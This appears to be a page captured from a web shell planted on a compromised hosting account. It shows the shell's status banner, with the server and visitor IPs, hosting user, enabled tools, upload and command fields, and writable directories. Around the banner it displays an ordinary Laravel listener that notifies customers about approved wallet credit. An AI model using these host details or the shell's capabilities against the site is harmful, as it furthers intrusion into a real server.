403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.225.54.147
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/User/Listeners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/User/Listeners/SendNotifyUpdateCreditPurchase.php
<?php

    namespace Modules\User\Listeners;

    use App\Notifications\AdminChannelServices;
    use App\Notifications\PrivateChannelServices;
    use App\User;
    use Modules\User\Events\NewVendorRegistered;
    use Modules\User\Events\RequestCreditPurchase;
    use Modules\User\Events\UpdateCreditPurchase;
    use Modules\User\Events\VendorApproved;

    class SendNotifyUpdateCreditPurchase
    {

        public function handle(UpdateCreditPurchase $event)
        {
            $user = $event->user;
            $payment = $event->payment;
            $data = [
                'id' =>  $user->id,
                'event'=>'UpdateCreditPurchase',
                'to'=>'customer',
                'name' =>  $user->display_name,
                'avatar' =>  $user->avatar_url,
                'link' => route('user.wallet'),
                'type' => 'wallet_request',
                'message' => __('Administrator has approved your Credit amount')
            ];


            $customer = User::where('id',$payment->create_user)->where('status', 'publish')->first();
            if($customer) $customer->notify(new PrivateChannelServices($data));
        }
    }

Youez - 2016 - github.com/yon3zu
LinuXploit